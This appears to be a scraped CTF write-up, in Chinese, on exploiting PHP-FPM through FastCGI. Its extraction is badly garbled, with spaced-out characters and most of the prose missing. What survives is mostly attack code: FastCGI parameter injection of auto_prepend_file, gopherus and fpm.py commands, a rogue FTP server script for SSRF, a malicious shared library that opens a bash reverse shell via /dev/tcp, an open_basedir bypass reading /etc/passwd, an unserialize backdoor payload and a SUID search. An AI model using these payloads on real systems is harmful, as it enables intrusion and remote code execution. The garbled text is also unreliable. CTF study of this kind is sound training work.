[19809] 2021-09-02_CTF真题解析丨浅谈PHP-FPM

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-09-02_CTF真题解析丨浅谈PHP-FPM C T F P H P - F P M i   2 0 2 1 - 0 9 - 0 2   i   k a w h i P H P - F P M P H P - F P M P H P - F P M 访 访 W e b h t m l P H P W e b P H P 西 P H P W e b ?   C G I W e b P H P - C G I C G I F a s t - C G I P H P - F P M P H P - F a s t c g i   P r o c e s s   M a n a g e r F a s t - C G I F a s t - C G I T C P P H P - F P M 9 0 0 0 F a s t - C G I P H P - F P M
n g i n x k e y - v a l u e   a u t o _ p r e p e n d _ f i l e   =   p h p : / / i n p u t     a l l o w _ u r l _ i n c l u d e   = O n B o d y P H P - F P M 0 . 0 . 0 . 0 W e b P H P - F P M a u t o _ p r e p e n d _ f i l e a l l o w _ u r l _ i n c l u d e {         ' G A T E W A Y _ I N T E R F A C E ' :   ' F a s t C G I / 1 . 0 ' ,         ' R E Q U E S T _ M E T H O D ' :   ' G E T ' ,         ' S C R I P T _ F I L E N A M E ' :   ' / v a r / w w w / h t m l / i n d e x . p h p ' ,         ' S C R I P T _ N A M E ' :   ' / i n d e x . p h p ' ,         ' Q U E R Y _ S T R I N G ' :   ' ? a = 1 & b = 2 ' ,         ' R E Q U E S T _ U R I ' :   ' / i n d e x . p h p ? a = 1 & b = 2 ' ,         ' D O C U M E N T _ R O O T ' :   ' / v a r / w w w / h t m l ' ,         ' S E R V E R _ S O F T W A R E ' :   ' p h p / f c g i c l i e n t ' ,         ' R E M O T E _ A D D R ' :   ' 1 2 7 . 0 . 0 . 1 ' ,         ' R E M O T E _ P O R T ' :   ' 1 2 3 4 5 ' ,         ' S E R V E R _ A D D R ' :   ' 1 2 7 . 0 . 0 . 1 ' ,         ' S E R V E R _ P O R T ' :   ' 8 0 ' ,         ' S E R V E R _ N A M E ' :   " l o c a l h o s t " ,         ' S E R V E R _ P R O T O C O L ' :   ' H T T P / 1 . 1 '         ' P H P _ V A L U E ' :   ' a u t o _ p r e p e n d _ f i l e   =   p h p : / / i n p u t ' ,         ' P H P _ A D M I N _ V A L U E ' :   ' a l l o w _ u r l _ i n c l u d e   =   O n ' } p y t h o n   f p m . p y   i p   - p   9 0 0 0   / v a r / w w w / h t m l / i n d e x . p h p   - c   ' '
S S R F F P M / F a s t C G I P H P - F P M 1 2 7 . 0 . 0 . 1 S S R F S S R F G o p h e r u s p a y l o a d u r l P H P - F P M f i l e _ p u t _ c o n t e n t s (   ) g o p h e r : / / f i l e _ p u t _ c o n t e n t s (   ) 使 F T P < ? p h p h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; $ u r l   =   $ _ G E T [ ' u r l ' ] ; $ c u r l   =   c u r l _ i n i t ( $ u r l ) ;         c u r l _ s e t o p t ( $ c u r l ,   C U R L O P T _ H E A D E R ,   0 ) ; $ r e s p o n s e T e x t   =   c u r l _ e x e c ( $ c u r l ) ; e c h o   $ r e s p o n s e T e x t ; c u r l _ c l o s e ( $ c u r l ) ; ? > p y t h o n   g o p h e r u s . p y   - - e x p l o i t   f a s t c g i
F T P F T P / I P 1 2 7 . 0 . 0 . 1 : 9 0 0 0 P H P - F P M S S R F g o p h e r u s s h e l l p a y l o a d   _   F T P 2 2 7 h p F T P < ? p h p f i l e _ p u t _ c o n t e n t s ( $ _ G E T [ ' f i l e ' ] ,   $ _ G E T [ ' d a t a ' ] ) ; E n t e r i n g   P a s s i v e   M o d e   < h 1 , h 2 , h 3 , h 4 , p 1 , p 2 >   ( h 1 , h 2 , h 3 , h 4 , p 1 , p 2 ) i m p o r t   s o c k e t s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )   s . b i n d ( ( ' 0 . 0 . 0 . 0 ' ,   1 2 3 ) ) s . l i s t e n ( 1 ) c o n n ,   a d d r   =   s . a c c e p t ( ) c o n n . s e n d ( b ' 2 2 0   w e l c o m e n ' ) c o n n . s e n d ( b ' 3 3 1   P l e a s e   s p e c i f y   t h e   p a s s w o r d . n ' ) c o n n . s e n d ( b ' 2 3 0   L o g i n   s u c c e s s f u l . n ' ) c o n n . s e n d ( b ' 2 0 0   S w i t c h i n g   t o   B i n a r y   m o d e . n ' ) c o n n . s e n d ( b ' 5 5 0   C o u l d   n o t   g e t   t h e   f i l e   s i z e . n ' ) c o n n . s e n d ( b ' 1 5 0   o k n ' ) c o n n . s e n d ( b ' 2 2 7   E n t e r i n g   E x t e n d e d   P a s s i v e   M o d e   ( 1 2 7 , 0 , 0 , 1 , 0 , 9 0 0 1 ) n ' )   # S T O R   /   ( 2 ) c o n n . s e n d ( b ' 1 5 0   P e r m i s s i o n   d e n i e d . n ' ) c o n n . s e n d ( b ' 2 2 1   G o o d b y e . n ' ) c o n n . c l o s e ( ) h t t p : / / i p : 8 0 8 0 / f t p . p h p ? f i l e = f t p : / / @ i p : 1 2 3 / & d a t a = % 0 1 % 0 1 % 0 0 % 0 1 % 0 0 % 0 8 % 0 0 % 0 0 % 0 0 % 0 1 % 0 0 % 0 0 % 0 0 % 0 0 % 0 0 % 0 0 % 0 1 % 0 4 % 0 0 % 0 1 % 0 1 % 0
s o s o d i s a b l e _ f u n c t i o n s f p m . p y a u t o _ p r e p e n d _ f i l e a l l o w _ u r l _ i n c l u d e b y p a s s   d i s a b l e s o b y p a s s   P H P - F P M d i s a b l e b y p a s s / b i n / s h   - c   p h p   - n   - S   1 2 7 . 0 . 0 . 1 : 6 0 0 4 9   - t   / v a r / w w w / h t m l   P H P   S e r v e r - n 使 p h p . i n i b y p a s s   d i s a b l e _ f u n c t i o n s 1 3 3 e x p l o i t (   ) 1 9 7 P H P - F P M P H P - F P M W e b a n t p r o x y . p h p d i s a b l e p h p   s e r v e r b y p a s s   d i s a b l e _ f u n c t i o n a n t _ p h p _ e x t e n s i o n s o p h p i z e   & & . / c o n f i g u r e   & &   m a k e p h p i z e P H P - F P M p h p . i n i 1 9 7   v a r   p a y l o a d   =   ` $ { F a s t C g i C l i e n t ( ) } ; 1 9 8           $ c o n t e n t = " " ; 1 9 9           $ c l i e n t   =   n e w   C l i e n t ( ' $ { f p m _ h o s t } ' , $ { f p m _ p o r t } ) ;                 . . . 2 1 1           ' P H P _ V A L U E '   = >   ' e x t e n s i o n = $ { p } ' , 2 1 2           ' P H P _ A D M I N _ V A L U E '   = >   ' e x t e n s i o n = $ { p } ' ,
C T F 2 0 2 1   o n e _ P o i n t e r _ p h p a d d _ a p i . p h p e x t e n s i o n = / v a r / w w w / h t m l / a n t . s o P H P - F P M P H P p h p . i n i P H P - F P M < ? p h p a n t s y s t e m ( " l s   / " ) ;
u s e r . p h p e l s e P H P c o o k i e p h p i n f o c h d i r (   ) i n i _ s e t (   ) < ? p h p i n c l u d e   " u s e r . p h p " ; i f ( $ u s e r = u n s e r i a l i z e ( $ _ C O O K I E [ " d a t a " ] ) ) {   $ c o u n t [ + + $ u s e r - > c o u n t ] = 1 ;         / /   $ c o u n t 1   i f ( $ c o u n t [ ] = 1 ) {     $ u s e r - > c o u n t + = 1 ;     s e t c o o k i e ( " d a t a " , s e r i a l i z e ( $ u s e r ) ) ;   } e l s e {     e v a l ( $ _ G E T [ " b a c k d o o r " ] ) ;   } } e l s e {   $ u s e r = n e w   U s e r ;   $ u s e r - > c o u n t = 1 ;   s e t c o o k i e ( " d a t a " , s e r i a l i z e ( $ u s e r ) ) ; } ? > < ? p h p c l a s s   U s e r {   p u b l i c   $ c o u n t ; } ? > d a t a = O : 4 : " U s e r " : 1 : { s : 5 : " c o u n t " ; i : 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 6 ; }   / a d d _ a p i . p h p ? b a c k d o o r = f i l e _ p u t _ c o n t e n t s ( " 1 . p h p " , " " ) ;
/ p r o c / s e l f / c m d l i n e P H P - F P M / e t c / n g i n x / s i t e s - a v a i l a b l e / d e f a u l t f a s t c g i _ p a s s   1 2 7 . 0 . 0 . 1 : 9 0 0 1 P H P - F P M 9 0 0 1 s o p a y l o a d h t t p s : / / p h p . o k a w h i o . r e p l . c o / s t a t i c / 2 . p y   f i l e _ p u t _ c o n t e n t s (   )   v p s F T P < ? p h p m k d i r ( ' t e s t ' ) ; c h d i r ( ' t e s t ' ) ; i n i _ s e t ( ' o p e n _ b a s e d i r ' , ' . . ' ) ; c h d i r ( ' . . ' ) ; c h d i r ( ' . . ' ) ; c h d i r ( ' . . ' ) ; c h d i r ( ' . . ' ) ; i n i _ s e t ( ' o p e n _ b a s e d i r ' , ' / ' ) ; e c h o   f i l e _ g e t _ c o n t e n t s ( ' / e t c / p a s s w d ' ) ; ? > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > _ _ a t t r i b u t e _ _   ( ( _ _ c o n s t r u c t o r _ _ ) )   v o i d   p r e l o a d   ( v o i d ) {         s y s t e m ( " b a s h   - c   ' b a s h   - i   > &   / d e v / t c p / i p / p o r t   0 > & 1 ' " ) ; } g c c   a . c   - f P I C   - s h a r e d   - o   a . s o
s u i d p h p   - a f l a g h t t p s : / / h a 1 c 9 o n . t o p / 2 0 2 1 / 0 4 / 2 9 / l m b _ o n e _ p o i n t e r _ p h p / i 使 C T F 8 0 % E x c h a n g e x x x e y J / a d d _ a p i . p h p ? b a c k d o o r = $ f i l e % 2 0 = % 2 0 $ _ G E T [ ' f i l e ' ] ; $ d a t a % 2 0 = % 2 0 $ _ G E T [ ' d a t a ' ] ; f i l e _ p u t _ c o n t e n t s ( $ f i l e , $ d a t a ) ; & f i l e = f t p : f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则